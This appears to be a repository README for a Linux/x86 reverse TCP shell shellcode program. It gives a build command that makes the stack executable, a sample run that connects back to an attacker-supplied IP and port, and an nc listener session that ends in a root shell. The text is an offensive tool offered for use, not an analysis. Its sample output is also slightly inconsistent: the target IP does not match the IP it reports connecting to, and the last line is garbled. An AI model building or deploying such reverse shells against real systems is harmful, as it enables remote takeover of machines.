Linux-x86-Reverse-Shell

    Linux/x86 Reverse TCP Shell with dynamic IP and port binding Shellcode (tested on Ubuntu 12.04 LTS)
    Usage: gcc -z execstack -o shell_reverse_tcp shell_reverse_tcp.c
    $ ./shell_reverse_tcp_shellcode 192.168.1.137 4444
    Connecting to 192.168.1.236 (0xec01a8c0):4444 (0x115c)
    Byte 26: c0
    Byte 27: a8
    Byte 28: 01
    Byte 29: ec

    $ nc -nlv 4444
    Listening on 0.0.0.0 4444
    Connection received on 192.168.1.137 45219
    id
    uid=0(root) gid=0(root) groups=0(root)es)